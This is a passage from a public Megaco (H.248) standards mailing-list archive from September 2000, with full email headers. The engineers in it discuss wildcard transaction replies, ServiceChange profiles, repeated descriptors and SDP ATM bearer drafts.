> value found, if they are different.  Since you get statistics on
> results, any identical statistics reports would only be
> repeated once.  So. assuming you used ALL, I'd expect:
> C=1{Subtract=*{Statistics{...}, Statistics{...}....}.
> C=2{...
> ....
>
> -----Original Message-----
> From: Christian Groves
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Sent: 9/3/00 9:22 PM
> Subject: Transaction Reply Context=ALL, wilcard response
>
> G'Day all,
>
> Perhaps someone can provide a clarification.
>
> In the scenario where I do a
> SUB(Context=ALL,Termination=?,),Wildcard-response.
>
> Do I get in the transaction reply?
>
> a)   a single TransactionReply[SUB(Context=ALL,Termination=?)]
>
> or
>
> b)   multiple commands replies
>        TransactionReply[SUB(Context=1,Termination=?),
>                         SUB(Context=2,Termination=?)
>                         :
>                         SUB(Context=*,Termination=?)
>
> There's some ambiguity in the text.
>
> Cheers, Christian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 23:04:02 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA11420
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 23:04:01 -0400 (EDT)
Received: from standards (47.234.32.16:4192) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8FDC7@standards.nortelnetworks.com>; Mon, 4 Sep 2000 22:47:59 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 15610 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 22:47:59 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB8FD98@standards.nortelnetworks.com>; Mon, 4 Sep 2000 22:37:59
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e852ovw15682 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 5 Sep
          2000 04:50:57 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          EAA08673 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 5 Sep 2000
          04:50:57 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id EAA03291 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 5 Sep 2000 04:50:54 +0200
          (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B44520.63450D19@ericsson.com>
Date:         Tue, 5 Sep 2000 11:58:08 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Profiles in Service Change
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day all,

I discussion on another email exploder (MSF) it was pointed out that the
ServiceChange only supports one profile to be returned. I would have
thought that a MG could support more than one profile.

Do people consider this to be an error to be updated in the
implementor's guide?


If so the following changes probably would be necessary.

7.2.8 ServiceChange
The optional ServiceChangeProfile parameter specifies the Profile[/s]
(if any) of the protocol supported.  The ServiceChangeProfile includes
the version of the profile supported.

A.2
ServiceChangeParm ::= SEQUENCE
{
        serviceChangeMethod     ServiceChangeMethod,
        serviceChangeAddress    ServiceChangeAddress OPTIONAL,
        serviceChangeVersion    INTEGER(0..99) OPTIONAL,
>>      serviceChangeProfile    SEQUENCE OF ServiceChangeProfile OPTIONAL,
        serviceChangeReason     Value,
        serviceChangeDelay      INTEGER(0..4294967295) OPTIONAL,
                                    -- 32 bit unsigned integer
        serviceChangeMgcId      MId OPTIONAL,
        timeStamp               TimeNotation OPTIONAL,
        nonStandardData         NonStandardData OPTIONAL,
        ...
}

ServiceChangeResParm ::= SEQUENCE
{
        serviceChangeMgcId      MId OPTIONAL,
        serviceChangeAddress    ServiceChangeAddress OPTIONAL,
        serviceChangeVersion    INTEGER(0..99) OPTIONAL,
>>      serviceChangeProfile    SEQUENCE OF ServiceChangeProfile OPTIONAL,
        ...
}

B.2
>>      serviceChangeProfile = ProfileToken EQUAL NAME SLASH Version


Cheers, Christian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 23:04:03 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA11432
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 23:04:02 -0400 (EDT)
Received: from standards (47.234.32.16:4192) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8FDCE@standards.nortelnetworks.com>; Mon, 4 Sep 2000 22:48:08 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 15611 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 22:48:08 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB8FD99@standards.nortelnetworks.com>; Mon, 4 Sep 2000
          22:38:07 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e852p3p03548; Tue, 5 Sep 2000 04:51:03 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          EAA08680; Tue, 5 Sep 2000 04:51:02 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id EAA03295; Tue, 5 Sep 2000
          04:50:59 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D02@zcard00g.ca.nortel.com>
            <39B45911.AF0B874A@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B45A1E.6512169E@ericsson.com>
Date:         Tue, 5 Sep 2000 13:27:42 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Transaction Reply Context=ALL, wilcard response
X-To:         Tom-PT Taylor <taylor@nortelnetworks.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Tom,

Yes I mean to w-

Cheers, Christian
>
> Tom-PT Taylor wrote:
> >
> > What do you mean by "wildcard response"?  That you precede the command
> > with a "W-"?
> >
> > > -----Original Message-----
> > > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > > Sent: Sunday, September 03, 2000 9:23 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Transaction Reply Context=ALL, wilcard response
> > >
> > >
> > > G'Day all,
> > >
> > > Perhaps someone can provide a clarification.
> > >
> > > In the scenario where I do a
> > > SUB(Context=ALL,Termination=?,),Wildcard-response.
> > >
> > > Do I get in the transaction reply?
> > >
> > > a)   a single TransactionReply[SUB(Context=ALL,Termination=?)]
> > >
> > > or
> > >
> > > b)   multiple commands replies
> > >        TransactionReply[SUB(Context=1,Termination=?),
> > >                         SUB(Context=2,Termination=?)
> > >                         :
> > >                         SUB(Context=*,Termination=?)
> > >
> > > There's some ambiguity in the text.
> > >
> > > Cheers, Christian
> > >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 04:20:01 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA25968
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 04:20:01 -0400 (EDT)
Received: from standards (47.234.32.16:1558) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8FF53@standards.nortelnetworks.com>; Tue, 5 Sep 2000 4:06:01 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16174 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 04:06:01 -0400
Received: from globespan.net (216.6.89.98:1245) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB8FF50@standards.nortelnetworks.com>; Tue, 5 Sep 2000 3:55:54
          -0400
Received: from globespan.net (sphilip.india.ficon-tech.com [172.25.1.104]) by
          globespan.net (8.9.3/8.9.3) with ESMTP id NAA19201; Tue, 5 Sep 2000
          13:37:06 +0530 (IST) (envelope-from sphilip@globespan.net)
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D00@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B4A9D9.2C4441E1@globespan.net>
Date:         Tue, 5 Sep 2000 13:37:53 +0530
Reply-To: Shalini Philip <sphilip@GLOBESPAN.NET>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Shalini Philip <sphilip@GLOBESPAN.NET>
Organization: Globespan Inc.
Subject:      Re: Addressing For Control
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello Tom, list,

    Please find my comments to point 9 below.

>
> > MGC-Originated ServiceChange Request
> > ====================================
> >
> > 9. The MGC may originate a ServiceChange request containing
> > ServiceChangeAddress.  This requires the MG to take the
> > following actions:
> >
> >     (a) as above
> >
> >     (b) send all subsequent requests to the indicated
> > ServiceChangeAddress
> >
> >     (c) if retransmitting outstanding requests to the MGC,
> > use the same
> > address that the original request went to.
> >
> > It seems reasonable to require that in this case the
> > ServiceChangeMethod (if
> > any) should be restricted to GRACEFUL or FORCED.
> >
> > [[[[[ BHARAT ]]]]]]
> >
> > I am not sure I understand what MGC is trying to tell MG
> > while using these
> > methods. Specifying ServiceChangeAddress after things are up
> > and running
> > (i.e. registration has
> > completed long back) might be tricky with TCP as transport.
> > It would be
> > interesting to see what people have to say on this. Till now,
> > I thought only
> > "handoff" is the allowed method from MGC to MG.
> >
> [PTT] I invite further comments.
>

In case of TCP and UDP, if after successful registration, the MGC wants to
change the port on which
communication happens with MG, it can always send a Service Change command
Request with service
change method as "Handoff" and a ServiceChangeMgcId as the new MgcId (with the
new port information).

Another point that I would like to make is that even FORCED or GRACEFUL on ROOT
can be possible service change methods from MGC -> MG,
in case there is no backup MGCId to which handoff can happen. In such a
situation, the MG should try registration with any
other MGC in its provisioned list of primary and secondary MGCs.


--
Regards,

Shalini Philip
Globespan Inc.
E-Mail : mailto:sphilip@globespan.net
Web    : http://www.globespan.net


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 04:33:08 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA26123
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 04:33:07 -0400 (EDT)
Received: from standards (47.234.32.16:2846) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8FF73@standards.nortelnetworks.com>; Tue, 5 Sep 2000 4:19:22 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16216 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 04:19:22 -0400
Received: from globespan.net (216.6.89.98:1851) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB8FF72@standards.nortelnetworks.com>; Tue, 5 Sep 2000 4:09:20
          -0400
Received: from globespan.net (sphilip.india.ficon-tech.com [172.25.1.104]) by
          globespan.net (8.9.3/8.9.3) with ESMTP id NAA20459; Tue, 5 Sep 2000
          13:50:33 +0530 (IST) (envelope-from sphilip@globespan.net)
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF6787E2@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B4AD00.826932C0@globespan.net>
Date:         Tue, 5 Sep 2000 13:51:20 +0530
Reply-To: Shalini Philip <sphilip@GLOBESPAN.NET>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Shalini Philip <sphilip@GLOBESPAN.NET>
Organization: Globespan Inc.
Subject:      Re: Transaction Reply Context=ALL, wilcard response
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello Brian, Christian & list.

        The example given below shows multiple Statistics descriptors in
the descriptor list for a command reply. I believe,
the common understanding is that only the digit map descriptor and the
error descriptors are the only two descriptors
which can be repeated. If other descriptors can also be repeated, then
we can have multiple Mux descriptors, if the
MG supports multiple MUX types.
Also since it is not feasible to take the union of SDP definitions in
local and remote descriptors, I guess we can even have
multiple local and remote descriptors , or do we put them as multiple
SDP definitions in the same local/remote descriptor.

Thanks & Regards,
  Shalini Philip.


"Rosen, Brian" wrote:

>  I don't think you can do a subtract with CHOOSE.
> You could use ALL, but not choose.
>
> If you ask for a wildcard response, I think you get one response per
> value found, if they are different.  Since you get statistics on
> results, any identical statistics reports would only be
> repeated once.  So. assuming you used ALL, I'd expect:
> C=1{Subtract=*{Statistics{...}, Statistics{...}....}.
> C=2{...
> ....
>
> -----Original Message-----
> From: Christian Groves
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Sent: 9/3/00 9:22 PM
> Subject: Transaction Reply Context=ALL, wilcard response
>
> G'Day all,
>
> Perhaps someone can provide a clarification.
>
> In the scenario where I do a
> SUB(Context=ALL,Termination=?,),Wildcard-response.
>
> Do I get in the transaction reply?
>
> a)   a single TransactionReply[SUB(Context=ALL,Termination=?)]
>
> or
>
> b)   multiple commands replies
>        TransactionReply[SUB(Context=1,Termination=?),
>                         SUB(Context=2,Termination=?)
>                         :
>                         SUB(Context=*,Termination=?)
>
> There's some ambiguity in the text.
>
> Cheers, Christian
>
> Notice to Recipient:
> This message is intended only for the use of the Addressee
> and may contain information that is proprietary and confidential
> and/or privileged by law. If you received this e-mail in error,
> any review, use, dissemination, distribution or copying of this
> e-mail is strictly prohibited. If you have received this e-mail in
> error, please notify us immediately of the error by return e-mail
> and please delete this message and all attachments from your system.
> Thank you.

--
Regards,

Shalini Philip
Globespan Inc.
E-Mail : mailto:sphilip@globespan.net
Web    : http://www.globespan.net


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 07:43:05 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA28808
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 07:43:04 -0400 (EDT)
Received: from standards (47.234.32.16:4674) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8FFEC@standards.nortelnetworks.com>; Tue, 5 Sep 2000 7:29:23 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16363 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 07:29:23 -0400
Received: from mars.hss.co.in (202.54.26.197:57969) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB8FFEB@standards.nortelnetworks.com>; Tue, 5 Sep 2000 7:29:22
          -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e85BhIh07614 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 5 Sep 2000 17:13:19 +0530
          (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          65256951.003F6567 ; Tue, 5 Sep 2000 17:02:27 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <65256951.003F6462.00@sandesh.hss.hns.com>
Date:         Tue, 5 Sep 2000 17:12:36 +0530
Reply-To: svkumar@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Shiv Kumar <svkumar@HSS.HNS.COM>
Subject:      ATM bearer description
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi,

 Could someone tell me which is the relevant document
  w.r.t  ATM bearer description in SDP ?

Will it be an improved version of
                draft-rajeshkumar-mmusic-sdp-atm-02.txt  ?
  In the meantime, can we use the above as a reference ?

Regards
Shiv Kumar
Hughes Software Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 08:14:59 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA29667
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 08:14:58 -0400 (EDT)
Received: from standards (47.234.32.16:2230) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9000C@standards.nortelnetworks.com>; Tue, 5 Sep 2000 8:01:07 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16400 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 08:01:07 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB9000B@standards.nortelnetworks.com>; Tue, 5 Sep 2000 8:01:07
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id IAA13521; Tue, 5 Sep 2000 08:14:05 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id IAA25579; Tue, 5 Sep 2000 08:14:05 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XHKJW>; Tue, 5 Sep 2000 08:14:05 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01706A54@whq-msgusr-02.pit.comms.marconi.com>
Date:         Tue, 5 Sep 2000 08:13:58 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Profiles in Service Change
X-To:         Christian Groves <Christian.Groves@ERICSSON.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I do NOT consider it to be an error, and I think the whole idea
of Profile is that an MG implements one.  The MGC, of course,
can implement many (if it serves several kinds of gateways).

While such a restriction could lead to lots of private profiles,
it could also lead to a few commonly implemented profiles.
The package mechanism is a wonderful thing, but it leads to
lots of options, which leads to incompatible MGs and MGCs.
Profiles are the way to group options into implement able sets
so that MGs and MGCs can interoperate.

If you have multiple profiles, then you might as well just
have no profiles - the ServiceChange could return the package list.

Brian

> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> Sent: Monday, September 04, 2000 8:58 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Profiles in Service Change
>
>
> G'Day all,
>
> I discussion on another email exploder (MSF) it was pointed
> out that the
> ServiceChange only supports one profile to be returned. I would have
> thought that a MG could support more than one profile.
>
> Do people consider this to be an error to be updated in the
> implementor's guide?
>
>
> If so the following changes probably would be necessary.
>
> 7.2.8 ServiceChange
> The optional ServiceChangeProfile parameter specifies the Profile[/s]
> (if any) of the protocol supported.  The ServiceChangeProfile includes
> the version of the profile supported.
>
> A.2
> ServiceChangeParm ::= SEQUENCE
> {
>         serviceChangeMethod     ServiceChangeMethod,
>         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
>         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> >>      serviceChangeProfile    SEQUENCE OF
> ServiceChangeProfile OPTIONAL,
>         serviceChangeReason     Value,
>         serviceChangeDelay      INTEGER(0..4294967295) OPTIONAL,
>                                     -- 32 bit unsigned integer
>         serviceChangeMgcId      MId OPTIONAL,
>         timeStamp               TimeNotation OPTIONAL,
>         nonStandardData         NonStandardData OPTIONAL,
>         ...
> }
>
> ServiceChangeResParm ::= SEQUENCE
> {
>         serviceChangeMgcId      MId OPTIONAL,
>         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
>         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> >>      serviceChangeProfile    SEQUENCE OF
> ServiceChangeProfile OPTIONAL,
>         ...
> }
>
> B.2
> >>      serviceChangeProfile = ProfileToken EQUAL NAME SLASH Version
>
>
> Cheers, Christian
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 08:14:59 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA29670
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 08:14:59 -0400 (EDT)
Received: from standards (47.234.32.16:2230) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90012@standards.nortelnetworks.com>; Tue, 5 Sep 2000 8:01:11 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16408 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 08:01:11 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB9000A@standards.nortelnetworks.com>; Tue, 5 Sep 2000 8:01:06
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id IAA13519; Tue, 5 Sep 2000 08:14:04 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id IAA25573; Tue, 5 Sep 2000 08:14:04 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <SKAZY78K>; Tue, 5 Sep 2000 08:14:04 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01706A55@whq-msgusr-02.pit.comms.marconi.com>
Date:         Tue, 5 Sep 2000 08:13:58 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Transaction Reply Context=ALL, wilcard response
X-To:         Shalini Philip <sphilip@globespan.net>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

>         The example given below shows multiple Statistics
> descriptors in
> the descriptor list for a command reply. I believe,
> the common understanding is that only the digit map descriptor and the
> error descriptors are the only two descriptors
> which can be repeated.
I have no idea of where that idea came from, I think it's incorrect

>If other descriptors can also be repeated, then
> we can have multiple Mux descriptors, if the
> MG supports multiple MUX types.
Yes

> Also since it is not feasible to take the union of SDP definitions in
> local and remote descriptors, I guess we can even have
> multiple local and remote descriptors , or do we put them as multiple
> SDP definitions in the same local/remote descriptor.
This might be open to interpretation.  I'd prefer if you actually did
send the union of the SDP, but I'd be willing to support other
ideas.  I do think if you get separate SDP, then you get multiple
local/remote descriptors in one media statement (if you audited Media).


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 08:58:46 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA00831
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 08:58:46 -0400 (EDT)
Received: from standards (47.234.32.16:3776) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90065@standards.nortelnetworks.com>; Tue, 5 Sep 2000 8:45:14 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16511 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 08:45:14 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90064@standards.nortelnetworks.com>; Tue, 5 Sep 2000 8:45:13
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id IAA16617; Tue, 5 Sep 2000 08:58:12 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id IAA04811; Tue, 5 Sep 2000 08:58:12 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XHK4R>; Tue, 5 Sep 2000 08:58:12 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF6787E6@whq-msgusr-02.pit.comms.marconi.com>
Date:         Tue, 5 Sep 2000 08:58:03 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: ATM bearer description
X-To:         "svkumar@HSS.HNS.COM" <svkumar@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Yes.  There will be a new version released shortly.
I'll send a message to the megaco list when it is announced.

Brian

> -----Original Message-----
> From: Shiv Kumar [mailto:svkumar@HSS.HNS.COM]
> Sent: Tuesday, September 05, 2000 7:43 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: ATM bearer description
>
>
> Hi,
>
>  Could someone tell me which is the relevant document
>   w.r.t  ATM bearer description in SDP ?
>
> Will it be an improved version of
>                 draft-rajeshkumar-mmusic-sdp-atm-02.txt  ?
>   In the meantime, can we use the above as a reference ?
>
> Regards
> Shiv Kumar
> Hughes Software Systems
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 09:50:09 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA02041
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 09:50:08 -0400 (EDT)
Received: from standards (47.234.32.16:1424) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9008F@standards.nortelnetworks.com>; Tue, 5 Sep 2000 9:36:21 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16560 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 09:36:21 -0400
Received: from mars.hss.co.in (202.54.26.197:59149) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9008C@standards.nortelnetworks.com>; Tue, 5 Sep 2000 9:26:19
          -0400
